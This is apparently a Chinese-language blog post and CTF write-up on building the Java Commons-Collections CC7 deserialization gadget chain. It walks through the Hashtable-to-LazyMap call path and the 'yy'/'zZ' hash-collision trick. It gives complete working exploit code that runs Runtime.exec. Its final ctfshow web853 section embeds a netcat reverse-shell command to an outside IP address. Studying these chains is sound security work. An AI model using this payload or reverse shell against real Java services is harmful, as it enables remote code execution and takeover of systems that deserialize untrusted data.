目录

  1. 1. 前言
  2. 2. 分析
  3. 3. 写exp
    1. 3.1. 调用两次 put
    2. 3.2. 指定key的值
    3. 3.3. remove
  4. 4. 最终exp
  5. 5. 实战
    1. 5.1. ctfshow web853

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CC7链

2024/9/6 Web Java 反序列化
  |     |   总文章阅读量:

前言

CC7 的链子和 CC5 类似,后半条链子也是 LazyMap.get() 的链子,然后也换了个入口类

参考:

https://drun1baby.top/2022/06/29/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8708-CC7%E9%93%BE/

https://boogipop.com/2023/03/02/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%A0%94%E7%A9%B6/#1X2-7-CC7


分析

图来

image-20240906153352265

equals太多了,依旧是正向分析

直接看入口类Hashtable的 readObject

image-20240906154206147

调用了个reconstitutionPut()方法,跟过去看看

image-20240906154323124

发现个熟悉的hashCode(),不过这样的话就进 cc6 了,我们的目标还是这里 cc7 的 equals

查找用法的话equals太多了,直接 ctrl+shift+a 全局搜索找AbstractMapDecorator这个类

image-20240906154859596

继承了 Map 接口,因为它是 CC 包里面的 Map 类,并且能够调用父类 Map,所以把它作为链子的一部分

但是 Map 是一个接口,我们还需要去找 Map 的实现类

最终在 AbstractMap 类中的 equals() 方法中发现其调用了 get() 方法

image-20240906155944043

那么只需要让 m 可控为 LazyMap 即可连上链子


写exp

LazyMap.get 的部分直接复制粘贴,这里不提了

而上面的链子连起来就是:Hashtable.readObject -> Hashtable.reconstitutionPut -> Abstracecorator.equals -> AbstractMap.equals

看起来好像是四个步骤,但是其实AbstractMapequals这里,首先是调用LazyMap.equals,但是 LazyMap 没这个方法才找父类找到了AbstractMap.equals

接下来分析每段方法的参数

首先是 readObject:

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
    @SuppressWarnings("unchecked")
    K key = (K)s.readObject();
    @SuppressWarnings("unchecked")
    V value = (V)s.readObject();
    // synch could be eliminated for performance
    reconstitutionPut(table, key, value);
}

可以看到这里reconstitutionPut是在一个for循环里面的

然后是 reconstitutionput:

  private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
      throws StreamCorruptedException
  {
      if (value == null) {
          throw new java.io.StreamCorruptedException();
      }
      // Makes sure the key is not already in the hashtable.
      // This should not happen in deserialized version.
      int hash = key.hashCode();
      int index = (hash & 0x7FFFFFFF) % tab.length;
      for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
          if ((e.hash == hash) && e.key.equals(key)) {
              throw new java.io.StreamCorruptedException();
          }
      }
// ...
  }

这里对传进的 Entry 对象数组进行了循环,逐个调用e.key.equals(key)

到这里就要看一下 key 是啥了,溯源发现在 writeObject 方法里

image-20240906161127119

其实 key 就是我们第一次 put 进去的 key,那么写法就是:

Hashtable hashtable = new Hashtable();  
hashtable.put(decorateMap, "0w0");

于是写exp:

package com.example.cc7;

import com.example.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

        Hashtable hashtable = new Hashtable();
        hashtable.put(decorateMap, "0w0");

        String barr = Utils.Serialize(hashtable);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

然后运行,无事发生。。

下断点发现根本没进AbstractMap.equals(),看看 ysoserial 是怎么做的

image-20240906162401912

ysoserial 这里的链子多了一个 map,还把两个 map 进行了比较

调用两次 put

我们需要调用的 e.key.equals() 方法是在 for 循环里面的,需要进入到这个 for 循环才能调用

HashtablereconstitutionPut() 方法是被遍历调用的

第一次调用的时候,并不会走入到 reconstitutionPut() 方法 for 循环里面,因为 tab[index] 的内容是空的

image-20240906163306716

在下面才会对 tab[index] 进行赋值

image-20240906163415877

所以需要两次put赋值才能进入

HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("aaa", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("bbb", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);

(这里是栈结构,所以最后put进去的会成为第一个tab[index]

image-20240906165008258

然而这样子依旧不能进,调试了半天发现问题出在了hash上面

指定key的值

image-20240906172408833

table[1]是 decorateMap2 的值,而索引之所以是1也是从int index = (hash & 0x7FFFFFFF) % tab.length;来的,而 decorateMap1 的key(即"aaa")经过hash处理之后为 96320,decorateMap2 的key("bbb")的hash是97315,两者得到的index不相等,所以连 for 循环都进不去

那么要让(hash & 0x7FFFFFFF) % tab.length相等,这样才能匹配上index,而且注意到下面还有e.hash == hash的判断,因此问题就转变为如何让这两个 key 的 hash 相等

在java中有这样的一个特性:

"yy".hashCode() == "zZ".hashCode()

yyzZhashCode() 计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put() 的值设置为 yyzZ,才能走到我们想要的 e.key.equals() 方法中

所以要这样写:

HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);

image-20240906173304535

然后就调用decorateMap1.equals(decorateMap2)

不过这样还是弹不了计算器

remove

这是因为 HashTable.put() 实际上也会调用到 equals() 方法

image-20240906173615414

当调用完 equals() 方法后,decorateMap2 的 key 中就会增加一个 yy 键,然后在 AbstractMap 这里执行 value.equals(m.get(key)) 时取到的key是 yy

image-20240906175652192

而AbstractMap里的key是什么呢

image-20240906175842781

由于我们是先调用了 HashMap 里的 equals 后才到的 AbstractMap ,因此这个 entryset 也就是 HashMap 的,decorateMap1 里放的就是 HashMap1,里面的键是 yy

image-20240906181016837

于是在这之后 decorateMap2 的 key 中就会增加一个 yy 键,这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对

decorateMap2.remove("yy");

最终exp

为了防止序列化提前弹计算器,要改一下 chainedTransformer 为ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});,后面再反射赋值

package com.example.cc7;

import com.example.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        HashMap<Object, Object> hashMap2 = new HashMap<>();

        Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
        decorateMap1.put("yy", 1);
        Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
        decorateMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(decorateMap1, 1);
        hashtable.put(decorateMap2, 1);
        Utils.SetValue(chainedTransformer,"iTransformers",transformers);
        decorateMap2.remove("yy");


        String barr = Utils.Serialize(hashtable);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

实战

ctfshow web853

提交ctfshow参数进行base64解码
然后进行反序列化
我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,
为了保证业务安全,我删除了nc和curl命令


下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow")); 

测试发现得用cc7打,那换成cc4.0的库就行

package com.example.cc7;

import com.example.Utils;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;

import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7Ver4 {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc 115.236.153.177 30908 -e /bin/sh"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        HashMap<Object, Object> hashMap2 = new HashMap<>();

        Map decorateMap1 = LazyMap.lazyMap(hashMap1, chainedTransformer);
        decorateMap1.put("yy", 1);
        Map decorateMap2 = LazyMap.lazyMap(hashMap2, chainedTransformer);
        decorateMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(decorateMap1, 1);
        hashtable.put(decorateMap2, 1);
        Utils.SetValue(chainedTransformer,"iTransformers",transformers);
        decorateMap2.remove("yy");


        String barr = Utils.Serialize(hashtable);
        System.out.println(barr);
//        Utils.UnSerialize(barr);
    }
}